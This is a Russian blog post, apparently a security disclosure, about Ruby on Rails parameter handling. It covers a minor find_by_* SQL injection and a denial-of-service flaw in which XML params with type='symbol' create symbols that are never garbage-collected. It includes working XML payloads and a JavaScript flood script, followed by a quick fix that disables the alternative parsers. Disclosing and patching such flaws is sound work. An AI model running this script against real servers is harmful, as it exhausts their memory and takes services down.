Rails params & GC

в 6:36, , рубрики: ruby, ruby on rails, security, XML, Егор Хомяков, информационная безопасность, метки: , , ,

У нас тут в rails комьюнити опять драма.
Есть методы типа find_by_* которые проецируются на модели в find_by_title например и find_by_id.
Их можно использовать так
find_by_id(params[:id], select: «CUSTOM SQL»)
Но обычно их используют вот так
find_by_id(params[:id])
И происходит SQL Injection если в params[:id] лежит {:select => «CUSTOM SQL»}. Обратите внимание — :select это символ а не «select»(строка). Это значит что трюк ?id[select]=SQL не пройдет т.к. ключ окажется строкой.
И вообще params это хеш типа HashWithIndifferentAccess. Те у него ВПРИНЦИПЕ не может быть символов в ключах т.к. они все уничтожаются при создании.
Есть такой gem authlogic, в общем виде он использует find_by_token(token) где token это объект из сессии(которая хранится в куках и подписана session_secret). Чтобы в него записать :select => «SQL» вам нужно знать session_secret, поэтому уязвимость крайне редкая.
Весь этот SQL Injection CVE не стоит выеденного яйца! И ради чего пост? DDoS!

Я лишь начал копать дальше, ибо давно использую альтернативные инпуты. Рельсы по умолчанию принимают три вида request.body: XML, JSON, x-www-form-urlencoded. Абсолютное большинство приложений использует последний, это строка вида key=val&key2=val2
Но если клиент вышлет нужные Content-Type автоматически будет исользован другой парсер — XML/JSON и даже YAML но он выключен по умолчанию.
А XML штука гибкая. Пример — если вы пошлете

<id type="symbol">all</id>

то код find(params[:id]) выполнится так же как и find(:all)
Или

<id type="yaml">---....</id>

Пользовательский инпут превращается в символы?! А символы то у нас не убираются GC-ом. Вот таким скриптом из консоли браузера можно «обижать» рельс проекты. Попробуйте на локалхосте — запустите инстанс рельс и следите за памятью процесса ruby.

x=new XMLHttpRequest;
x.open('POST','/');
x.setRequestHeader('Content-Type','application/xml')
str=''
for(i=0;i<999999;i++){
	str+='<a type="symbol">testa'+i+'</a>'
}
x.send('<z>'+str+'</z>')

Зачем я это выкладываю? А какой смысл это сейчас скрывать — уже многим(человек 10 + rails core) это известно, значит и разработчикам это необходимо знать. В конце концов это легко исправить и вы можете спать спокойно, не дожидаясь официального поста «ДДОС ВСЕ ВЕРСИИ ОБНАВЛЯЙТЕСЬ»

Напоследок, мой быстрофикс для application.rb который выключит альтернативные парсеры
ActionDispatch::ParamsParser::DEFAULT_PARSERS={}

P.S. но и это еще не все(есть возраждение старого CVE с [1, nil] через JSON/XML payload)

Автор: Chikey

Источник

Поделиться

* - обязательные к заполнению поля